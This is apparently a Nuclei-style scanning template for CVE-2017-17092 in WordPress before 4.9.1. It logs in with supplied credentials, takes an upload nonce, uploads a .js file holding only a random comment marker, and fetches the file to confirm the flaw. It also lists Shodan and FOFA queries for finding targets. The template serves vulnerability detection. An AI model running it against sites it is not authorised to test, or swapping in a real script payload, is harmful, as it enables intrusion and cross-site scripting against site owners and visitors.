WordPress < 4.9.1 - Authenticated JavaScript File Upload

id: CVE-2017-17092

info:
  name: WordPress < 4.9.1 - Authenticated JavaScript File Upload
  author: 0x_Akoko
  severity: medium
  description: |
    WordPress before 4.9.1 contains a cross-site scripting caused by not requiring unfiltered_html capability for uploading .js files in functions.php, letting remote attackers execute scripts via crafted files, exploit requires upload permissions.
  impact: |
    Remote attackers can execute arbitrary JavaScript in the context of the site, leading to potential session hijacking or defacement.
  remediation: |
    Update to WordPress 4.9.1 or later.
  reference:
    - https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    - https://wpscan.com/vulnerability/0d2323bd-aecd-4d58-ba4b-597a43034f57
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17092
    - https://lists.debian.org/debian-lts-announce/2017/12/msg00019.html
    - https://wpvulndb.com/vulnerabilities/8966
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-17092
    cwe-id: CWE-79
    epss-score: 0.04916
    epss-percentile: 0.89839
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: wordpress
    product: wordpress
    shodan-query: http.component:"wordpress"
    fofa-query: body="oembed" && body="wp-"
  tags: cve,cve2017,wordpress,wpscan,xss,upload,authenticated,intrusive,file-upload

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  marker: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/upload.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, '_wpnonce')
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"_wpnonce":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/async-upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="name"

        {{filename}}.js
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="action"

        upload-attachment
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="_wpnonce"

        {{nonce}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="async-upload"; filename="{{filename}}.js"
        Content-Type: application/javascript

        //{{marker}}
        ------WebKitFormBoundary{{randstr}}--

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "success",".js")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: upload_year
        group: 1
        internal: true
        regex:
          - 'uploads\\/([0-9]+)\\/[0-9]+\\/[^"]+\.js'

      - type: regex
        name: upload_month
        group: 1
        internal: true
        regex:
          - 'uploads\\/[0-9]+\\/([0-9]+)\\/[^"]+\.js'

  - raw:
      - |
        GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/{{filename}}.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "//{{marker}}")
        condition: and
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